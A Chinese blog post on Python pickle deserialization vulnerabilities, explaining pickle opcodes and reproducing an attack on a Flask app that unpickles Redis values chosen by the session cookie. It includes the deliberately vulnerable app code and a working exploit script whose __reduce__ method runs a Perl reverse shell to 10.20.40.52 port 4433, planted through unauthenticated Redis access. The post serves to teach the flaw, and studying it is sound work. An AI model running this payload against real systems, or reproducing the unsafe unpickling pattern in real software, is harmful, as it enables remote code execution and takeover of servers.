• 浅谈python反序列化漏洞


    最近看到p神一篇讲python反序列化的文章,结合redis未授权访问组合漏洞,感觉在flask和redis的构架中比较常见,便记录下来。

    p神原文:https://www.leavesongs.com/PENETRATION/zhangyue-python-web-code-execute.html

    漏洞原理:

    python序列化会通过pickle的dumps和loads来进行序列化和反序列化

     其中序列化后的值为

    对应的格式如下:

    c:读取新的一行作为模块名module,读取下一行作为对象名object,然后将module.object压入到堆栈中。
    (:将一个标记对象插入到堆栈中。为了实现我们的目的,该指令会与t搭配使用,以产生一个元组。
    t:从堆栈中弹出对象,直到一个“(”被弹出,并创建一个包含弹出对象(除了“(”)的元组对象,并且这些对象的顺序必须跟它们压入堆栈时的顺序一致。然后,该元组被压入到堆栈中。
    S:读取引号中的字符串直到换行符处,然后将它压入堆栈。
    R:将一个元组和一个可调用对象弹出堆栈,然后以该元组作为参数调用该可调用的对象,最后将结果压入到堆栈中。
    .:结束pickle。

    漏洞复现:

    前提搭建一个web服务器,需要一个flask+redis的web服务。

    代码如下

     1 import redis
     2 from flask import Flask,request,session
     3 import pickle
     4 import random
     5 app = Flask(__name__)
     6 
     7 class Redis:
     8     @staticmethod
     9     def connect():
    10         r = redis.StrictRedis(host='localhost', port=6379, db=0)
    11         return r
    12 
    13     @staticmethod
    14     def set_data(r,key,data,ex=None):
    15         r.set(key,pickle.dumps(data),ex)
    16 
    17     @staticmethod
    18     def get_data(r,key):
    19         data = r.get(key)
    20         if data is None:
    21             return None
    22         return pickle.loads(data)
    23 
    24 def getrand():
    25     str='abcdefghijklnmopqrstuvwxyz1234567890'
    26     count = ''
    27     for i in range(10):
    28             index = random.randint(0,35)
    29             count += str[index]
    30     return count
    31 
    32 
    33 @app.route('/',methods=['GET'])
    34 def hello_world():
    35     str = request.args.get('str')
    36     r = Redis.connect()
    37     rand = getrand()
    38     Redis.set_data(r,rand,str)
    39     return rand+':'+str
    40 
    41 @app.route('/getcookie')
    42 def get_cookie():
    43     cookie = request.cookies.get('session')
    44     r = Redis.connect()
    45     data = Redis.get_data(r,cookie)
    46     return 'your data:'+data
    47 
    48 if __name__ == '__main__':
    49     app.run()
    index.py

    程序大概过程是访问 / 目录会往redis中插入一条str变量,key值是伪随机生成的

    然后访问/getcookie会访问cookie中的session的值带入redis查询并反序列化

     

     

     可以构造payload如下

     1 #!/usr/bin/env python
     2 #
     3 import cPickle
     4 import os
     5 import redis
     6 
     7 class exp(object):
     8     def __reduce__(self):
     9         s = """perl -e 'use Socket;$i="10.20.40.52";$p=4433;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");};'"""
    10         return (os.system, (s,))
    11 
    12 e = exp()
    13 s = cPickle.dumps(e)
    14 
    15 r = redis.Redis(host='127.0.0.1', port=6379, db=0)
    16 r.set("e6c36e69a9c", s)

    payload会往redis中插入一条e6c36e69a9c的key值

     然后在/getcookie中设置cookie访问,并监听服务器上的4433端口

     get!!!

  • 相关阅读:
    facebook开源前端UI框架React初探
    javascript中数组的map方法
    处理 InterruptedException——Brian Goetz
    eclipse 打开是报错"reload maven project has encountered a problem"
    Java并发大师Brain Goetz和Doug Lea 的中英文博客文章地址
    修复 Java 内存模型,第 2 部分——Brian Goetz
    修复 Java 内存模型,第 1 部分——Brian Goetz
    正确使用 Volatile 变量——Brian Goetz
    mysql数据备份
    小知识点
  • 原文地址:https://www.cnblogs.com/wh4am1/p/12071804.html
Copyright © 2020-2023  润新知